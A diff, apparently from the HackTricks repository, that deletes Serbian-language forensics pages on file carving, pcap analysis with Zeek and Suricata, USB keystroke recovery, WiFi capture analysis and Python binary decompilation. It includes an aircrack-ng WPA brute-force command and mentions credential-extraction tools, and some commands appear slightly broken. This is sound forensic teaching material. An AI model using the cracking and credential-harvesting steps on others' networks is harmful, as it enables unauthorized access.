Možete koristiti alate kao što su [**exiftool**](https://exiftool.org) i [**Metadiver**](https://www.easymetadata.com/metadiver-2/) da dobijete metapodatke datoteke.
|
||||
|
||||
## **Oporavak obrisanih datoteka**
|
||||
|
||||
### Zabeležene obrisane datoteke
|
||||
|
||||
Kao što je ranije viđeno, postoji nekoliko mesta gde je datoteka još uvek sačuvana nakon što je "obrisana". To je zato što obično brisanje datoteke iz sistema datoteka samo označava da je obrisana, ali podaci nisu dodirnuti. Tada je moguće ispitati registre datoteka (kao što je MFT) i pronaći obrisane datoteke.
|
||||
|
||||
Takođe, OS obično čuva mnogo informacija o promenama u sistemu datoteka i rezervnim kopijama, tako da je moguće pokušati koristiti ih za oporavak datoteke ili što više informacija.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### **File Carving**
|
||||
|
||||
**File carving** je tehnika koja pokušava da **pronađe datoteke u masi podataka**. Postoje 3 glavna načina na koje alati poput ovog funkcionišu: **Na osnovu zaglavlja i podnožja tipova datoteka**, na osnovu **struktura** tipova datoteka i na osnovu **sadržaja** same datoteke.
|
||||
|
||||
Napomena da ova tehnika **ne funkcioniše za vraćanje fragmentisanih datoteka**. Ako datoteka **nije smeštena u kontiguitetne sektore**, tada ova tehnika neće moći da je pronađe ili barem deo nje.
|
||||
|
||||
Postoji nekoliko alata koje možete koristiti za file carving koji označavaju tipove datoteka koje želite da pretražujete.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Stream **C**arving
|
||||
|
||||
Data Stream Carving je sličan File Carving-u, ali **umesto da traži kompletne datoteke, traži zanimljive fragmente** informacija.\
|
||||
Na primer, umesto da traži kompletnu datoteku koja sadrži zabeležene URL-ove, ova tehnika će tražiti URL-ove.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Sigurno brisanje
|
||||
|
||||
Očigledno, postoje načini da se **"sigurno" obrišu datoteke i deo logova o njima**. Na primer, moguće je **prepisati sadržaj** datoteke sa smešnim podacima nekoliko puta, a zatim **ukloniti** **logove** iz **$MFT** i **$LOGFILE** o datoteci, i **ukloniti kopije senki volumena**.\
|
||||
Možda ćete primetiti da čak i kada se ta akcija izvrši, može postojati **drugi delovi gde je postojanje datoteke još uvek zabeleženo**, i to je tačno, a deo posla forenzičkog stručnjaka je da ih pronađe.
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
|
||||
- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
|
||||
- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
|
||||
- **iHackLabs Sertifikovani Digitalni Forenzik Windows**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,87 +0,0 @@
|
||||
# File/Data Carving & Recovery Tools
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Alati za carving i oporavak
|
||||
|
||||
Više alata na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
Najčešće korišćen alat u forenzici za ekstrakciju fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte i omogućite mu da unese fajl kako bi pronašao "sakrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** je alat za analizu binarnih fajlova kako bi se pronašao ugrađeni sadržaj. Može se instalirati putem `apt`, a njegov izvor je na [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Korisne komande**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
binwalk -e file #Displays and extracts some files from the given file
|
||||
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
### Foremost
|
||||
|
||||
Još jedan uobičajen alat za pronalaženje skrivenih fajlova je **foremost**. Možete pronaći konfiguracioni fajl foremost-a u `/etc/foremost.conf`. Ako želite da pretražujete samo neke specifične fajlove, otkomentarišite ih. Ako ne otkomentarišete ništa, foremost će pretraživati svoje podrazumevane konfiguracione tipove fajlova.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
#Discovered files will appear inside the folder "output"
|
||||
```
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** je još jedan alat koji se može koristiti za pronalaženje i ekstrakciju **datoteka ugrađenih u datoteku**. U ovom slučaju, potrebno je da otkomentarišete tipove datoteka iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) koje želite da ekstraktujete.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
### Bulk Extractor
|
||||
|
||||
Ovaj alat dolazi unutar kali, ali ga možete pronaći ovde: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
Ovaj alat može skenirati sliku i **izvući pcaps** unutar nje, **mrežne informacije (URL-ovi, domene, IP adrese, MAC adrese, e-mailovi)** i još **datoteka**. Samo treba da uradite:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navigirajte kroz **sve informacije** koje je alat prikupio (lozinke?), **analizirajte** **pakete** (pročitajte [**Pcaps analiza**](../pcap-inspection/index.html)), pretražujte **čudne domene** (domene povezane sa **malverom** ili **nepostojećim**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
Možete ga pronaći na [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
|
||||
Dolazi sa GUI i CLI verzijama. Možete odabrati **tipove fajlova** koje želite da PhotoRec pretražuje.
|
||||
|
||||
.png>)
|
||||
|
||||
### binvis
|
||||
|
||||
Proverite [kod](https://code.google.com/archive/p/binvis/) i [web stranicu alata](https://binvis.io/#/).
|
||||
|
||||
#### Karakteristike BinVis
|
||||
|
||||
- Vizuelni i aktivni **pregledač strukture**
|
||||
- Više grafova za različite tačke fokusa
|
||||
- Fokusiranje na delove uzorka
|
||||
- **Prikazivanje stringova i resursa**, u PE ili ELF izvršnim datotekama npr.
|
||||
- Dobijanje **šablona** za kriptoanalizu fajlova
|
||||
- **Prepoznavanje** pakera ili enkodera
|
||||
- **Identifikacija** steganografije po šablonima
|
||||
- **Vizuelno** binarno poređenje
|
||||
|
||||
BinVis je odlična **polazna tačka za upoznavanje sa nepoznatim ciljem** u scenariju crne kutije.
|
||||
|
||||
## Specifični alati za vađenje podataka
|
||||
|
||||
### FindAES
|
||||
|
||||
Pretražuje AES ključeve tražeći njihove rasporede ključeva. Sposoban je da pronađe 128, 192 i 256 bitne ključeve, kao što su oni koje koriste TrueCrypt i BitLocker.
|
||||
|
||||
Preuzmite [ovde](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
## Komplementarni alati
|
||||
|
||||
Možete koristiti [**viu**](https://github.com/atanunq/viu) da vidite slike iz terminala.\
|
||||
Možete koristiti linux komandnu liniju alat **pdftotext** da transformišete pdf u tekst i pročitate ga.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,65 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
# Alati za carving
|
||||
|
||||
## Autopsy
|
||||
|
||||
Najčešći alat korišćen u forenzici za ekstrakciju fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte i omogućite mu da obradi fajl kako bi pronašao "sakrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
|
||||
|
||||
## Binwalk <a id="binwalk"></a>
|
||||
|
||||
**Binwalk** je alat za pretraživanje binarnih fajlova kao što su slike i audio fajlovi za ugrađene fajlove i podatke. Može se instalirati pomoću `apt`, međutim [izvor](https://github.com/ReFirmLabs/binwalk) se može pronaći na github-u.
|
||||
**Korisne komande**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
binwalk -e file #Displays and extracts some files from the given file
|
||||
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
## Foremost
|
||||
|
||||
Još jedan uobičajen alat za pronalaženje skrivenih fajlova je **foremost**. Možete pronaći konfiguracioni fajl foremost-a u `/etc/foremost.conf`. Ako želite da pretražujete samo neke specifične fajlove, otkomentarišite ih. Ako ne otkomentarišete ništa, foremost će pretraživati njegove podrazumevane konfiguracione tipove fajlova.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
#Discovered files will appear inside the folder "output"
|
||||
```
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel** je još jedan alat koji se može koristiti za pronalaženje i ekstrakciju **datoteka ugrađenih u datoteku**. U ovom slučaju, potrebno je da otkomentarišete tipove datoteka iz konfiguracione datoteke \(_/etc/scalpel/scalpel.conf_\) koje želite da ekstraktujete.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
## Bulk Extractor
|
||||
|
||||
Ovaj alat dolazi unutar kali, ali ga možete pronaći ovde: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
Ovaj alat može skenirati sliku i **izvući pcaps** unutar nje, **mrežne informacije (URL-ovi, domene, IP adrese, MAC adrese, e-mailovi)** i još **datoteka**. Samo treba da uradite:
|
||||
```text
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navigirajte kroz **sve informacije** koje je alat prikupio \(lozinke?\), **analizirajte** **pakete** \(pročitajte [ **Pcaps analiza**](../pcap-inspection/index.html)\), pretražujte **čudne domene** \(domene povezane sa **malverom** ili **nepostojećim**\).
|
||||
|
||||
## PhotoRec
|
||||
|
||||
Možete ga pronaći na [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
|
||||
Dolazi sa GUI i CLI verzijom. Možete odabrati **tipove fajlova** koje želite da PhotoRec pretražuje.
|
||||
|
||||

|
||||
|
||||
# Specifični alati za vađenje podataka
|
||||
|
||||
## FindAES
|
||||
|
||||
Pretražuje AES ključeve pretražujući njihove rasporede ključeva. Sposoban je da pronađe 128, 192 i 256 bitne ključeve, kao što su oni koje koriste TrueCrypt i BitLocker.
|
||||
|
||||
Preuzmite [ovde](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
# Dodatni alati
|
||||
|
||||
Možete koristiti [**viu** ](https://github.com/atanunq/viu) da vidite slike iz terminala.
|
||||
Možete koristiti linux komandnu liniju **pdftotext** da transformišete pdf u tekst i pročitate ga.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,212 +0,0 @@
|
||||
# Pcap Inspekcija
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Napomena o **PCAP** vs **PCAPNG**: postoje dve verzije PCAP formata datoteka; **PCAPNG je noviji i nije podržan od svih alata**. Možda ćete morati da konvertujete datoteku iz PCAPNG u PCAP koristeći Wireshark ili neki drugi kompatibilni alat, kako biste mogli da radite s njom u nekim drugim alatima.
|
||||
|
||||
## Online alati za pcaps
|
||||
|
||||
- Ako je zaglavlje vašeg pcap-a **pokvareno**, trebali biste pokušati da ga **popravite** koristeći: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
- Ekstrahujte **informacije** i tražite **malver** unutar pcap-a u [**PacketTotal**](https://packettotal.com)
|
||||
- Tražite **malicioznu aktivnost** koristeći [**www.virustotal.com**](https://www.virustotal.com) i [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
|
||||
## Ekstrakcija informacija
|
||||
|
||||
Sledeći alati su korisni za ekstrakciju statistike, datoteka, itd.
|
||||
|
||||
### Wireshark
|
||||
|
||||
> [!NOTE]
|
||||
> **Ako planirate da analizirate PCAP, osnovno je da znate kako da koristite Wireshark**
|
||||
|
||||
Možete pronaći neke Wireshark trikove u:
|
||||
|
||||
{{#ref}}
|
||||
wireshark-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
### Xplico Framework
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(samo linux)_ može **analizirati** **pcap** i ekstraktovati informacije iz njega. Na primer, iz pcap datoteke Xplico, ekstraktuje svaku email poruku (POP, IMAP i SMTP protokoli), sav HTTP sadržaj, svaki VoIP poziv (SIP), FTP, TFTP, itd.
|
||||
|
||||
**Instalirajte**
|
||||
```bash
|
||||
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
|
||||
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
|
||||
sudo apt-get update
|
||||
sudo apt-get install xplico
|
||||
```
|
||||
**Pokreni**
|
||||
```
|
||||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
Pristupite _**127.0.0.1:9876**_ sa kredencijalima _**xplico:xplico**_
|
||||
|
||||
Zatim kreirajte **novi slučaj**, kreirajte **novu sesiju** unutar slučaja i **otpremite pcap** datoteku.
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Kao Xplico, to je alat za **analizu i ekstrakciju objekata iz pcaps**. Ima besplatnu verziju koju možete **preuzeti** [**ovde**](https://www.netresec.com/?page=NetworkMiner). Radi sa **Windows**.\
|
||||
Ovaj alat je takođe koristan za dobijanje **druge analizirane informacije** iz paketa kako biste mogli brže saznati šta se dešava.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
Možete preuzeti [**NetWitness Investigator odavde**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Radi na Windows)**.\
|
||||
Ovo je još jedan koristan alat koji **analizira pakete** i sortira informacije na koristan način da **znate šta se dešava unutra**.
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
- Ekstrakcija i kodiranje korisničkih imena i lozinki (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
- Ekstrakcija autentifikacionih hash-ova i njihovo razbijanje koristeći Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
- Izrada vizuelnog dijagrama mreže (Mrežni čvorovi i korisnici)
|
||||
- Ekstrakcija DNS upita
|
||||
- Rekonstrukcija svih TCP i UDP sesija
|
||||
- File Carving
|
||||
|
||||
### Capinfos
|
||||
```
|
||||
capinfos capture.pcap
|
||||
```
|
||||
### Ngrep
|
||||
|
||||
Ako **tražite** **nešto** unutar pcap-a, možete koristiti **ngrep**. Evo primera koji koristi glavne filtre:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### Isečenje
|
||||
|
||||
Korišćenje uobičajenih tehnika isečenja može biti korisno za ekstrakciju fajlova i informacija iz pcap:
|
||||
|
||||
{{#ref}}
|
||||
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Hvatanje kredencijala
|
||||
|
||||
Možete koristiti alate kao što su [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) za parsiranje kredencijala iz pcap-a ili sa aktivnog interfejsa.
|
||||
|
||||
## Proverite Eksploite/Malver
|
||||
|
||||
### Suricata
|
||||
|
||||
**Instalirajte i postavite**
|
||||
```
|
||||
apt-get install suricata
|
||||
apt-get install oinkmaster
|
||||
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**Proveri pcap**
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
### YaraPcap
|
||||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) je alat koji
|
||||
|
||||
- Čita PCAP datoteku i ekstraktuje Http tokove.
|
||||
- gzip dekompresuje sve kompresovane tokove
|
||||
- Skandira svaku datoteku sa yara
|
||||
- Piše report.txt
|
||||
- Opcionalno čuva odgovarajuće datoteke u direktorijum
|
||||
|
||||
### Malware Analysis
|
||||
|
||||
Proverite da li možete pronaći bilo koji otisak poznatog malvera:
|
||||
|
||||
{{#ref}}
|
||||
../malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) je pasivni, open-source analizator mrežnog saobraćaja. Mnogi operateri koriste Zeek kao Mrežni Sigurnosni Monitor (NSM) za podršku istragama sumnjivih ili zlonamernih aktivnosti. Zeek takođe podržava širok spektar zadataka analize saobraćaja van domena sigurnosti, uključujući merenje performansi i rešavanje problema.
|
||||
|
||||
U suštini, logovi koje kreira `zeek` nisu **pcaps**. Stoga ćete morati koristiti **druge alate** za analizu logova gde se nalaze **informacije** o pcaps.
|
||||
|
||||
### Connections Info
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
|
||||
|
||||
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
|
||||
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
|
||||
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
|
||||
|
||||
|
||||
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||
|
||||
10.55.100.100 65.52.108.225 443 tcp 86222.4
|
||||
10.55.100.107 111.221.29.113 443 tcp 86220.1
|
||||
10.55.100.110 40.77.229.82 443 tcp 86160.1
|
||||
|
||||
#Get the number of connections summed up per each line
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
|
||||
|
||||
10.55.100.100 65.52.108.225 1 86222.4
|
||||
10.55.100.107 111.221.29.113 1 86220.1
|
||||
10.55.100.110 40.77.229.82 134 86160.1
|
||||
|
||||
#Check if any IP is connecting to 1.1.1.1
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
|
||||
|
||||
#Get number of connections per source IP, dest IP and dest Port
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||
|
||||
|
||||
# RITA
|
||||
#Something similar can be done with the tool rita
|
||||
rita show-long-connections -H --limit 10 zeek_logs
|
||||
|
||||
+---------------+----------------+--------------------------+----------------+
|
||||
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
|
||||
+---------------+----------------+--------------------------+----------------+
|
||||
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
|
||||
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
|
||||
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
|
||||
|
||||
#Get connections info from rita
|
||||
rita show-beacons zeek_logs | head -n 10
|
||||
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
|
||||
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
|
||||
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
|
||||
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||
```
|
||||
### DNS informacije
|
||||
```bash
|
||||
#Get info about each DNS request performed
|
||||
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||
|
||||
#Get the number of times each domain was requested and get the top 10
|
||||
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
|
||||
|
||||
#Get all the IPs
|
||||
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
|
||||
|
||||
#Sort the most common DNS record request (should be A)
|
||||
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
||||
|
||||
#See top DNS domain requested with rita
|
||||
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
```
|
||||
## Ostali trikovi analize pcap-a
|
||||
|
||||
{{#ref}}
|
||||
dnscat-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
wifi-pcap-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
usb-keystrokes.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,14 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Ako imate pcap datoteku USB veze sa mnogo prekida, verovatno se radi o USB tastaturi.
|
||||
|
||||
Wireshark filter poput ovog može biti koristan: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
|
||||
|
||||
Može biti važno znati da podaci koji počinju sa "02" predstavljaju pritisnuti taster uz pritisnut shift.
|
||||
|
||||
Možete pročitati više informacija i pronaći neke skripte o tome kako analizirati ovo na:
|
||||
|
||||
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,17 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Ako imate pcap koji sadrži komunikaciju putem USB-a tastature kao što je sledeća:
|
||||
|
||||
.png>)
|
||||
|
||||
Možete koristiti alat [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) da dobijete ono što je napisano u komunikaciji:
|
||||
```bash
|
||||
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
||||
python3 usbkeyboard.py ./keystrokes.txt
|
||||
```
|
||||
Možete pročitati više informacija i pronaći neke skripte o tome kako analizirati ovo na:
|
||||
|
||||
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,39 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
# Proverite BSSID-ove
|
||||
|
||||
Kada primite snimak čiji je glavni saobraćaj Wifi koristeći WireShark, možete početi da istražujete sve SSID-ove snimka sa _Wireless --> WLAN Traffic_:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
## Brute Force
|
||||
|
||||
Jedna od kolona na tom ekranu pokazuje da li je **bilo kakva autentifikacija pronađena unutar pcap-a**. Ako je to slučaj, možete pokušati da je brute force-ujete koristeći `aircrack-ng`:
|
||||
```bash
|
||||
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
||||
```
|
||||
Na primer, dobiće WPA lozinku koja štiti PSK (pre shared-key), koja će biti potrebna za dekriptovanje saobraćaja kasnije.
|
||||
|
||||
# Podaci u Beacon-ima / Sporedni Kanal
|
||||
|
||||
Ako sumnjate da se **podaci curi unutar beacon-a Wifi mreže**, možete proveriti beacon-e mreže koristeći filter kao što je sledeći: `wlan contains <NAMEofNETWORK>`, ili `wlan.ssid == "NAMEofNETWORK"` pretražujući unutar filtriranih paketa za sumnjive stringove.
|
||||
|
||||
# Pronađite Nepoznate MAC Adrese u Wifi Mreži
|
||||
|
||||
Sledeći link će biti koristan za pronalaženje **mašina koje šalju podatke unutar Wifi mreže**:
|
||||
|
||||
- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
||||
|
||||
Ako već znate **MAC adrese, možete ih ukloniti iz izlaza** dodajući provere kao što je ova: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||
|
||||
Kada detektujete **nepoznate MAC** adrese koje komuniciraju unutar mreže, možete koristiti **filtre** kao što je sledeći: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)` da filtrirate njihov saobraćaj. Imajte na umu da su ftp/http/ssh/telnet filteri korisni ako ste dekriptovali saobraćaj.
|
||||
|
||||
# Dekriptovanje Saobraćaja
|
||||
|
||||
Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,202 +0,0 @@
|
||||
# Decompilacija kompajliranih python binarnih fajlova (exe, elf) - Preuzimanje iz .pyc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Od kompajliranog binarnog fajla do .pyc
|
||||
|
||||
Iz **ELF** kompajliranog binarnog fajla možete **dobiti .pyc** sa:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
[(0, 230, 311, 1, 'm', 'struct'),
|
||||
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
|
||||
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
|
||||
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
|
||||
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
|
||||
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
|
||||
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
|
||||
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
|
||||
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
|
||||
(15535, 2514, 4421, 1, 's', 'binary_name'),
|
||||
...
|
||||
|
||||
? X binary_name
|
||||
to filename? /tmp/binary.pyc
|
||||
```
|
||||
U **python exe binarnom** kompajliranom možete **dobiti .pyc** pokretanjem:
|
||||
```bash
|
||||
python pyinstxtractor.py executable.exe
|
||||
```
|
||||
## Od .pyc do python koda
|
||||
|
||||
Za **.pyc** podatke ("kompilirani" python) trebali biste početi pokušavati da **izvučete** **originalni** **python** **kod**:
|
||||
```bash
|
||||
uncompyle6 binary.pyc > decompiled.py
|
||||
```
|
||||
**Budite sigurni** da binarni fajl ima **ekstenziju** "**.pyc**" (ako ne, uncompyle6 neće raditi)
|
||||
|
||||
Tokom izvršavanja **uncompyle6** mogli biste naići na **sledeće greške**:
|
||||
|
||||
### Greška: Nepoznat magični broj 227
|
||||
```bash
|
||||
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||
Unknown magic number 227 in /tmp/binary.pyc
|
||||
```
|
||||
Da biste to popravili, potrebno je da **dodate ispravan magični broj** na početku generisanog fajla.
|
||||
|
||||
**Magični brojevi se razlikuju u zavisnosti od verzije pythona**, da biste dobili magični broj za **python 3.8**, potrebno je da **otvorite python 3.8** terminal i izvršite:
|
||||
```
|
||||
>> import imp
|
||||
>> imp.get_magic().hex()
|
||||
'550d0d0a'
|
||||
```
|
||||
**Magični broj** u ovom slučaju za python3.8 je **`0x550d0d0a`**, zatim, da biste ispravili ovu grešku, moraćete da **dodate** na **početak** **.pyc datoteke** sledeće bajtove: `0x0d550a0d000000000000000000000000`
|
||||
|
||||
**Jednom** kada ste **dodali** taj magični zaglavlje, **greška bi trebala biti ispravljena.**
|
||||
|
||||
Ovako će izgledati ispravno dodato **.pyc python3.8 magično zaglavlje**:
|
||||
```bash
|
||||
